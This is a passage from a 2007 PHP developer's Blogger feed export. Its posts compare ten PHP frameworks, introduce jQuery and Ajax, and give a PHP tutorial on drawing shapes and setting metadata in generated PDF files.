font-weight: 400; color: blue ! important; font-family: verdana,tahoma,arial,helvetica,sans-serif; position: relative; background-color: transparent;"&gt;database  &lt;/span&gt;&lt;span class="kLink" style="border-bottom: 1px solid blue; font-weight: 400; color: blue ! important; font-family: verdana,tahoma,arial,helvetica,sans-serif; position: relative; background-color: transparent;"&gt;objects&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;  and a template engine, but that's about it. It doesn't have any extra modules,  and it definitely lacks a few inbuilt things, like &lt;a class="kLink" oncontextmenu="return false;" id="KonaLink2" onmouseover="adlinkMouseOver(event,this,2);" style="position: static; text-decoration: underline ! important;" onclick="adlinkMouseClick(event,this,2);" onmouseout="adlinkMouseOut(event,this,2);" href="http://www.phpit.net/article/ten-different-php-frameworks/3/#" target="_top"&gt;&lt;span style="font-weight: 400; color: blue ! important; font-family: verdana,tahoma,arial,helvetica,sans-serif; position: static;color:blue;" &gt;&lt;span class="kLink" style="font-weight: 400; color: blue ! important; font-family: verdana,tahoma,arial,helvetica,sans-serif; position: relative;"&gt;Ajax&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;,  caching, an authentication module and more.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;WACT does have one of the best template engines though,  and it even allows you to create your own template tags to add certain  functionality.&lt;/p&gt; &lt;h3 i5d6d="0" ysiu0="0"&gt;Prado&lt;/h3&gt; &lt;p i5d6d="0" ysiu0="0"&gt;Prado is a very unique framework, and it offers some  really cool features. It doesn't come with inbuilt support for MVC (from what I  can tell), but it does have all kinds of components to handle most of the usual  &lt;a class="kLink" oncontextmenu="return false;" id="KonaLink3" onmouseover="adlinkMouseOver(event,this,3);" style="position: static; text-decoration: underline ! important;" onclick="adlinkMouseClick(event,this,3);" onmouseout="adlinkMouseOut(event,this,3);" href="http://www.phpit.net/article/ten-different-php-frameworks/3/#" target="_top"&gt;&lt;span style="font-weight: 400; color: blue ! important; font-family: verdana,tahoma,arial,helvetica,sans-serif; position: static;color:blue;" &gt;&lt;span class="kLink" style="font-weight: 400; color: blue ! important; font-family: verdana,tahoma,arial,helvetica,sans-serif; position: relative;"&gt;PHP&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;  tasks, and what's even neater it that it makes event-driven scripts possible.  For example, it's possible to set an onClick event on a HTML button that links  to a PHP function. This closely resembles &lt;a class="kLink" oncontextmenu="return false;" id="KonaLink4" onmouseover="adlinkMouseOver(event,this,4);" style="position: static; text-decoration: underline ! important;" onclick="adlinkMouseClick(event,this,4);" onmouseout="adlinkMouseOut(event,this,4);" href="http://www.phpit.net/article/ten-different-php-frameworks/3/#" target="_top"&gt;&lt;span style="font-weight: 400; color: blue ! important; font-family: verdana,tahoma,arial,helvetica,sans-serif; position: static;color:blue;" &gt;&lt;span class="kLink" style="font-weight: 400; color: blue ! important; font-family: verdana,tahoma,arial,helvetica,sans-serif; position: relative;"&gt;ASP&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;.NET,  and Prado contains more ASP.NET components, like a GridView and a Repeater  Control.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;By looking at the comparison chart it might seem that  Prado is a bit weak compared to the others, but this isn't true. Because Prado  is so unique, it doesn't score a lot of points on the chart, but in reality it  is very powerful.&lt;/p&gt; &lt;h3 i5d6d="0" ysiu0="0"&gt;PHP on Trax&lt;/h3&gt; &lt;p i5d6d="0" ysiu0="0"&gt;This framework seems to be a PHP port of Ruby and Rails,  and used to be called PHP on Rails. Unfortunately documentation is quite sparse,  so it's hard to determine what this framework offers, but its documentation does  mention ActiveRecord, so it probably offers ActiveRecord, just like RoR. Another  thing it includes is inbuilt support for Ajax, and the two demos that can be  found on the website clearly show this.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;PHP on Trax is on the right way, but it's still missing a  few things, like an authentication module and a caching module. It doesn't have  any extra modules either, so it's all a bit basic at the moment.&lt;/p&gt; &lt;h3 i5d6d="0" ysiu0="0"&gt;ZooP Framework&lt;/h3&gt; &lt;p i5d6d="0" ysiu0="0"&gt;The ZooP Framework is really feature-packed, and as the  chart clearly shows, it supports almost anything, except for an ORM layer.  What's even more surprising is that it runs on PHP4, which is really exceptional  considering all the functionality it offers.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;Another thing ZooP offers is inbuilt GUI controls, making  it very easy to create forms quickly. It supports most of the basic form  elements, and that advantage of using GUI controls over regular HTML is that you  can tightly integrate validation logic with the GUI controls.&lt;/p&gt;&lt;h3 i5d6d="0" ysiu0="0"&gt;eZ Components&lt;/h3&gt; &lt;p i5d6d="0" ysiu0="0"&gt;ez Components isn't so much a framework, but more of a  collection of components, and that's probably why it doesn't come with inbuilt  support for MVC.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;It comes with most of the usual components, like a  database component and a caching component, but it's also lacking a few things.  For instance, it doesn't have a ActiveRecord component or a authentication  component. On the other hand, it does have a few other extra components, like an  e-mail component, but there aren't many, and other frameworks (like the Zend  Framework) offer more.&lt;/p&gt; &lt;h3 i5d6d="0" ysiu0="0"&gt;CodeIgniter&lt;/h3&gt; &lt;p i5d6d="2" ysiu0="0"&gt;CodeIgniter is a relatively new framework, by the makers  of &lt;a href="http://www.pmachine.com/" i5d6d="0" ysiu0="0"&gt;ExpressionEngine&lt;/a&gt;,  and it looks quite promising. Unfortunately, it doesn't handle multiple  databases yet, although that is in the works.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;It's inspired by Ruby on Rails, and it offers much of the  same functionality, like scaffolding. It has excellent documentation, and  they've even got video tutorials to get you going.&lt;/p&gt; &lt;h3 i5d6d="0" ysiu0="0"&gt;And the winner is...&lt;/h3&gt; &lt;p i5d6d="0" ysiu0="0"&gt;I'm going to have to disappoint you here, as there isn't  a winner. Each framework offers different functionality, and there is no clear  winner. Just like most things, it comes down to preference and personal choice.  I highly suggest you look through the documentation of each framework above, and  decide yourself which framework you like best.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;Personally, I really like the Zend Framework at the  moment, but as I've been investigating each framework, I've seen many other  interesting features, like Prado's events or Symfony's ORM implementation.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;If you absolutely can't decide on what framework to use,  you can always do what most people do: write your own. It may take more time,  but it's a hell of a lot fun.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;If you have any comments or questions, feel free to drop  them in the comments below or join us at PHPit Forums. Also, if you find any  incorrect information in the chart or this article, please let me know so I can  correct it. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-2608914155159273735?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/2608914155159273735/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=2608914155159273735' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/2608914155159273735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/2608914155159273735'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/06/taking-look-at-ten-different-php_23.html' title='Taking a look at ten different PHP frameworks'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-3702259626789437645</id><published>2007-06-23T02:21:00.001-07:00</published><updated>2007-06-23T02:37:11.428-07:00</updated><title type='text'>Taking a look at ten different PHP frameworks</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;span style="font-weight: bold;"&gt;Introduction&lt;/span&gt;&lt;br /&gt;PHP frameworks are the latest hot topic in the PHP community, and new frameworks are being released daily. With over 40 frameworks available it's difficult to decide which framework works best for you, especially as each framework offers different functionality.&lt;br /&gt;&lt;br /&gt;In this article we will look at ten popular frameworks, and compare them to each other. First I will give you a general chart which gives you a quick overview of all the frameworks, and after that we'll go through each framework and discuss it in short.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A Quick Overview&lt;/span&gt;&lt;br /&gt;Below you can view a chart of the ten frameworks, and what functionality each frameworks offers.&lt;br /&gt;&lt;br /&gt;Framework PHP4 PHP5 MVC1 Multiple DB's2 ORM3 DB Objects4 Templates5 Caching6 Validation7 Ajax8 Auth Module9 Modules10&lt;br /&gt;&lt;br /&gt;Zend Framework -    -  -   - -&lt;br /&gt;CakePHP       -     -&lt;br /&gt;Symfony Project -      -     -&lt;br /&gt;Seagull Framework          - &lt;br /&gt;WACT     -   -  - - -&lt;br /&gt;Prado -  -  - -     &lt;br /&gt;PHP on TRAX -      - -   - -&lt;br /&gt;ZooP Framework     -      &lt;br /&gt;eZ Components -  -  -     - -&lt;br /&gt;CodeIgniter     -     - -&lt;br /&gt;&lt;br /&gt;#1: Indicates whether the framework comes with inbuilt support for a Model-View-Controller setup.&lt;br /&gt;#2: Indicates whether the framework supports multiple databases without having to change anything.&lt;br /&gt;#3: Indicates whether the framework supports an object-record mapper, usually an implementation of ActiveRecord.&lt;br /&gt;&lt;br /&gt;#4: Indicates whether the framework includes other database objects, like a TableGateWay.&lt;br /&gt;#5: Indicates whether the framework has an inbuilt template engine.&lt;br /&gt;#6: Indicates whether the framework includes a caching object or some way other way of caching.&lt;br /&gt;#7: Indicates whether the framework has an inbuilt validation or filtering component.&lt;br /&gt;#8: Indicates whether the framework comes with inbuilt support for Ajax.&lt;br /&gt;#9: Indicates whether the framework has an inbuilt module for handling user authentication.&lt;br /&gt;&lt;br /&gt;#10: Indicates whether the framework has other modules, like an RSS feed parser, PDF module or anything else (useful).&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.phpit.net/article/ten-different-php-frameworks/2/"&gt;Source&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-3702259626789437645?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/3702259626789437645/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=3702259626789437645' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/3702259626789437645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/3702259626789437645'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/06/taking-look-at-ten-different-php.html' title='Taking a look at ten different PHP frameworks'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-4475608657313999576</id><published>2007-06-20T23:10:00.001-07:00</published><updated>2007-06-20T23:10:08.953-07:00</updated><title type='text'>JQuery - Javascript Framework </title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;jQuery is an amazing JavaScript library that makes it easy to create wonderful web effects in just a few lines of code. As the website says:”&lt;br /&gt;&lt;br /&gt;    “jQuery is a JavaScript library that takes this motto to heart: Writing JavaScript code should be fun. jQuery achieves this goal by taking common, repetitive, tasks, stripping out all the unnecessary markup, and leaving them short, smart and understandable.” &lt;br /&gt;&lt;br /&gt;Maybe you are thinking… “Why I would need another JavaScript library”? Just give a try and you will see how simple and powerful it is even if you have already used Moo.fx, Scriptaculous, TW-SACK or Prototype.&lt;br /&gt;&lt;br /&gt;Why I should use jQuery?&lt;br /&gt;&lt;br /&gt;Simple. In just one glance at the source code of a page using jQuery you’ll see how easy it is to use, how much it accomplishes in so few lines of code, and how graceful it is.&lt;br /&gt;&lt;br /&gt;My mind was opened one day when I stumbled across some code written with jQuery. I was flipping through the RSS feeds and reading my daily dose of web design blogs when I came across an example of JavaScript loveliness that used jQuery. Truth be told, the code on that site had some browser related bugs… but the concept was something I hadn’t seen before.&lt;br /&gt;What about the code?&lt;br /&gt;&lt;br /&gt;The code looked almost simple. Like nothing I had seen before. It made sense.&lt;br /&gt;&lt;br /&gt;I started reading through the documentation and was amazed to see how much could be done with so little extra code.&lt;br /&gt;&lt;br /&gt;When you can use jQuery?&lt;br /&gt;&lt;br /&gt;You should use jQuery when you need:&lt;br /&gt;&lt;br /&gt;    * A small library that gives you powerful control over the Document Object Model&lt;br /&gt;    * With very little effort or work on your part&lt;br /&gt;&lt;br /&gt;Or&lt;br /&gt;&lt;br /&gt;    * Quick access to AJAX&lt;br /&gt;    * Without a lot of bloat (overhead - wasted code)&lt;br /&gt;    * And some basic animation effects to spice things up&lt;br /&gt;&lt;br /&gt;But…&lt;br /&gt;&lt;br /&gt;If you need super fancy effects for animation, drag and drop, and super smooth animation then you’ll probably want to use Prototype and one of the many great library created to enhance the effects.&lt;br /&gt;&lt;br /&gt;Where to get it?&lt;br /&gt;&lt;br /&gt;You can download the source code (15k), a lot of plugins and read some excellent tutorials at the jQuery website. jQuery was created by John Resig.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-4475608657313999576?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/4475608657313999576/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=4475608657313999576' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/4475608657313999576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/4475608657313999576'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/06/jquery-javascript-framework.html' title='JQuery - Javascript Framework '/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-2318076202140843554</id><published>2007-06-20T22:42:00.001-07:00</published><updated>2007-06-20T22:42:30.502-07:00</updated><title type='text'>Whats Ajax?</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;A Primer on the Ajax Phenomenon&lt;br /&gt;&lt;br /&gt;With all the hype about "Ajax web applications", you could be forgiven for assuming Ajax is some radical new plugin, akin to Macromedia Flash. And you would therefore be under the impression that Ajax is out of bounds until you upgrade your "so last month" browser, or at least download the coveted "Ajax plugin".&lt;br /&gt;&lt;br /&gt;Good news: You can run Ajax right now. At least, assuming you have a web browser from the past few years - IE, Firefox, Safari, or Opera. Have you seen Google Maps or perhaps GMail? They're both Ajax applications. So are Zuggest and the AjaxPatterns Wiki Demo .&lt;br /&gt;&lt;br /&gt;What do they all have in common? All these applications take a great leap forth towards the richness of standard desktop applications. No longer are you forced to wait five seconds for the page to reload every time you click on something. Ajax applications change in real time. They can let you drag boxes around, they can refresh themselves with new information, they can completely re-arrange the page without clearing it. And there's no special plugin required. Ajax is just a style of design, one that milks all the features of modern browsers to produce something that feels less web and more desktop.&lt;br /&gt;&lt;br /&gt;Applications can act more like and be developed more like the days of Visual Basic, Delphi, PowerBuilder, C++ with GUI frameworks, etc. Thus, it is 90's GUI features but with a web browser: it strives to meld the best of web and the best of desktop GUI's. Web browser standards were originally designed for e-brochures only. Business forms and other needs were hacked into this e-brochure framework over time and it is clear that this after-thought retrofitting for different purposes has been ugly. Ajax attempts to remedy this.&lt;br /&gt;&lt;br /&gt;Some of the characteristics of Ajax applications include:&lt;br /&gt;&lt;br /&gt;    * Continuous Feel: Traditional web applications force you to submit a form, wait a few seconds, watch the page redraw, and then add some more info. Forgot to enter the area code in a phone number? Start all over again. Sometimes, you feel like you're in the middle of a traffic jam: go 20 metres, stop a minute, go 20 metres, stop a minute ... How many E-Commerce sales have been lost because the user encountered one too many error message and gave up the battle? Ajax offers a smooth ride all the way. There's no page reloads here - you're just doing stuff and the browser is responding. The server is only telling the screen what changed rather than having it redraw the whole screen from scratch. &lt;br /&gt;&lt;br /&gt;    * Real-Time Updates: As part of the continous feel, Ajax applications can update the page in real-time. Currently, news services on the web redraw the entire page at intervals, e.g. once every 15 minutes. In contrast, it's feasible for a browser running an Ajax application to poll the server every few seconds, so it's capable of updating any information directly on the parts of the page that need changing. The rest of the page is unaffected. &lt;br /&gt;&lt;br /&gt;    * Graphical Interaction: Flashy backdrops are abundant on the web, but the basic mode of interaction has nevertheless mimicked the 1970s-style form-based data entry systems. Ajax represents a transition into the world of GUI controls visible on present-day desktops. Thus, you will encounter animations such as fading text to tell you something's just been saved, you will be able to drag items around, you will see some static text suddenly turn into an edit field as you hover over it. &lt;br /&gt;&lt;br /&gt;    * Language Neutrality - Ajax strives to be equally usable with all the popular languages rather than be tied to one language. Past GUI attempts such as VB, Tk, and Swing tended to be married to one specific programming language. Ajax has learned from the past and rejects this notion. To help facilitate this, XML is often used as a declarative interface language. &lt;br /&gt;&lt;br /&gt;To prevent any confusion, these things are not characteristic of Ajax:&lt;br /&gt;&lt;br /&gt;    * Non-Proprietary: "Ajax" is perhaps one of the most common brand names in history, but in context of web design, "Ajax" is neither the name of a company nor a product. It's not even the name of a standard or committee. It's a label for a design approach involving several related technologies. &lt;br /&gt;&lt;br /&gt;    * Plugin-Based: Ajax applications do not require users to install browser plugins, or desktop software for that matter. &lt;br /&gt;&lt;br /&gt;    * Browser Specific: As long as the user is working with a relatively recent, mainstream, browser (say 2001+), the application should work roughly the same way. Browser-specific applications somewhat defeat the purpose of Ajax. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-2318076202140843554?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/2318076202140843554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=2318076202140843554' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/2318076202140843554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/2318076202140843554'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/06/whats-ajax.html' title='Whats Ajax?'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-8592558287956937259</id><published>2007-06-18T23:43:00.001-07:00</published><updated>2007-06-18T23:43:45.407-07:00</updated><title type='text'>Amezing Machine</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;embed pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' swLiveConnect='true' type='application/x-shockwave-flash' seamlesstabbing='false' height='412' width='486' name='flashObj' base='http://admin.brightcove.com' flashVars='videoId=933742930&amp;amp;playerId=271552687&amp;amp;viewerSecureGatewayURL=https://services.brightcove.com/services/amfgateway&amp;amp;servicesURL=http://services.brightcove.com/services&amp;amp;cdnURL=http://admin.brightcove.com&amp;amp;domain=embed&amp;amp;autoStart=false&amp;amp;' bgcolor='#FFFFFF' src='http://services.brightcove.com/services/viewer/federated_f8/271552687'&gt;&lt;/embed&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-8592558287956937259?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/8592558287956937259/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=8592558287956937259' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/8592558287956937259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/8592558287956937259'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/06/amezing-machine_18.html' title='Amezing Machine'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-2218951788948343458</id><published>2007-06-17T22:49:00.000-07:00</published><updated>2007-06-17T22:50:34.191-07:00</updated><title type='text'>Square Peg, Round Hole In PDF With PHP</title><content type='html'>&lt;h1 id="title"&gt;&lt;br /&gt;&lt;/h1&gt; &lt;h5&gt;&lt;br /&gt;&lt;/h5&gt;    &lt;p&gt;Lines aren't the only thing you can draw - circles and rectangles also figure prominently on the menu. Take a look at the following example, which demonstrates.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;&lt;?&lt;a href="http://www.sitepoint.com/glossary.php?q=P#term_1" class="glossary" title="PHP, or Hypertext Preprocessor, is an open source, server-side programming language."&gt;php&lt;/a&gt;&lt;br /&gt;// create handle for new PDF document&lt;br /&gt;$pdf = pdf_new();&lt;br /&gt;&lt;br /&gt;// open a file&lt;br /&gt;pdf_open_file($pdf, "shapes.pdf");&lt;br /&gt;&lt;br /&gt;// start a new page (A4)&lt;br /&gt;pdf_begin_page($pdf, 595, 842);&lt;br /&gt;&lt;br /&gt;// set a fill colour&lt;br /&gt;pdf_setcolor($pdf, "fill", "rgb", 1, 1, 0);&lt;br /&gt;&lt;br /&gt;// set a stroke colour&lt;br /&gt;pdf_setcolor($pdf, "stroke", "rgb", 0, 0, 0);&lt;br /&gt;&lt;br /&gt;// draw a rectangle&lt;br /&gt;pdf_rect($pdf, 50, 500, 200, 300);&lt;br /&gt;pdf_fill_stroke($pdf);&lt;br /&gt;&lt;br /&gt;// set a fill colour&lt;br /&gt;pdf_setcolor($pdf, "fill", "rgb", 0, 1, 0);&lt;br /&gt;&lt;br /&gt;// set a stroke colour&lt;br /&gt;pdf_setcolor($pdf, "stroke", "rgb", 0, 0, 1);&lt;br /&gt;&lt;br /&gt;// draw a circle&lt;br /&gt;pdf_circle($pdf, 400, 600, 100);&lt;br /&gt;pdf_fill_stroke($pdf);&lt;br /&gt;&lt;br /&gt;// end page&lt;br /&gt;pdf_end_page($pdf);&lt;br /&gt;&lt;br /&gt;// close and save file&lt;br /&gt;pdf_close($pdf);&lt;br /&gt;?&gt;&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;Here's the output:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://sitepointstatic.com/graphics/1225image4.jpg" class="thickbox"&gt;&lt;em&gt;1225_4 (click to view image)&lt;/em&gt;&lt;img src="http://sitepointstatic.com/graphics/1225image4.jpg" alt="" height="150" width="185" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;In this case, the &lt;code&gt;pdf_rect()&lt;/code&gt; function has been used to draw a rectangle, given the coordinates of the lower left corner and the height and width. This rectangle has then been filled and outlined in two different colours, via the &lt;code&gt;pdf_fill_stroke()&lt;/code&gt; function.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;pdf_setcolor($pdf, "fill", "rgb", 1, 1, 0);&lt;br /&gt;&lt;br /&gt;pdf_setcolor($pdf, "stroke", "rgb", 0, 0, 0);&lt;br /&gt;&lt;br /&gt;pdf_rect($pdf, 50, 500, 200, 300);&lt;br /&gt;&lt;br /&gt;pdf_fill_stroke($pdf);&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;Circles are handled by the &lt;code&gt;pdf_circle()&lt;/code&gt; function, which accepts three&lt;br /&gt;arguments: the X and Y coordinates of the circle center, and the length of the circle radius.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;pdf_circle($pdf, 400, 600, 100);&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;This ability to draw geometric shapes on the fly can come in handy in a number of different situations. Consider the following one, in which a couple of "for" loops have been combined with the &lt;code&gt;pdf_lineto()&lt;/code&gt; function to generate a PDF line grid.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;&lt;?php&lt;br /&gt;// create handle for new PDF document&lt;br /&gt;$pdf = pdf_new();&lt;br /&gt;&lt;br /&gt;// open a file&lt;br /&gt;pdf_open_file($pdf, "grid.pdf");&lt;br /&gt;&lt;br /&gt;// start a new page (A4)&lt;br /&gt;pdf_begin_page($pdf, 595, 842);&lt;br /&gt;&lt;br /&gt;// set a stroke colour&lt;br /&gt;pdf_setcolor($pdf, "stroke", "rgb", 0, 0, 0);&lt;br /&gt;&lt;br /&gt;// draw vertical lines (move along X axis)&lt;br /&gt;for ($x=0; $x&lt;=595; $x+=20)&lt;br /&gt;{&lt;br /&gt;  pdf_moveto($pdf, $x, 0);&lt;br /&gt;  pdf_lineto($pdf, $x, 842);&lt;br /&gt;  pdf_stroke($pdf);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// draw horizontal lines (move along Y axis)&lt;br /&gt;for ($y=0; $y&lt;=842; $y+=20)&lt;br /&gt;{&lt;br /&gt;  pdf_moveto($pdf, 0, $y);&lt;br /&gt;  pdf_lineto($pdf, 595, $y);&lt;br /&gt;  pdf_stroke($pdf);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// end page&lt;br /&gt;pdf_end_page($pdf);&lt;br /&gt;&lt;br /&gt;// close and save file&lt;br /&gt;pdf_close($pdf);&lt;br /&gt;?&gt;&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;Here's the output:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://sitepointstatic.com/graphics/1225image5.jpg" class="thickbox"&gt;&lt;em&gt;1225_5 (click to view image)&lt;/em&gt;&lt;img src="http://sitepointstatic.com/graphics/1225image5.jpg" alt="" height="150" width="172" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;h5&gt;Heaven Is A Place On Earth&lt;/h5&gt;    &lt;p&gt;You can set document information with the &lt;code&gt;pdf_set_info_*()&lt;/code&gt; family of functions; this information identifies the document creator, title and content. The following example demonstrates:&lt;/p&gt;  &lt;p&gt;&lt;code&gt;&lt;?php&lt;br /&gt;// create handle for new PDF document&lt;br /&gt;$pdf = pdf_new();&lt;br /&gt;&lt;br /&gt;// open a file&lt;br /&gt;pdf_open_file($pdf, "philosophy.pdf");&lt;br /&gt;&lt;br /&gt;// start a new page (A4)&lt;br /&gt;pdf_begin_page($pdf, 595, 842);&lt;br /&gt;&lt;br /&gt;// set document information&lt;br /&gt;pdf_set_info_author($pdf, "William Shakespeare"); pdf_set_info_creator($pdf, "William Shakespeare"); pdf_set_info_title($pdf, "Hamlet"); pdf_set_info_subject($pdf, "Act I Scene 5"); pdf_set_info_keywords($pdf, "Horatio Hamlet philosophy");&lt;br /&gt;&lt;br /&gt;// get and use a font object&lt;br /&gt;$arial = pdf_findfont($pdf, "Arial", "host", 1); pdf_setfont($pdf, $arial, 10);&lt;br /&gt;&lt;br /&gt;// print text&lt;br /&gt;pdf_show_xy($pdf, "There are more things in heaven and earth, Horatio,", 50, 750); pdf_show_xy($pdf, "than are dreamt of in your philosophy", 50, 730);&lt;br /&gt;&lt;br /&gt;// end page&lt;br /&gt;pdf_end_page($pdf);&lt;br /&gt;&lt;br /&gt;// close and save file&lt;br /&gt;pdf_close($pdf);&lt;br /&gt;?&gt;&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;And now, when you view the dynamically-generated PDF file in Acrobat Reader, you'll see this information in the Document Properties window.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://sitepointstatic.com/graphics/1225image6.jpg" class="thickbox"&gt;&lt;em&gt;1225_6 (click to view image)&lt;/em&gt;&lt;img src="http://sitepointstatic.com/graphics/1225image6.jpg" alt="" height="350" width="359" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-2218951788948343458?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/2218951788948343458/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=2218951788948343458' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/2218951788948343458'/><link rel='self' type='application/atom+xml' 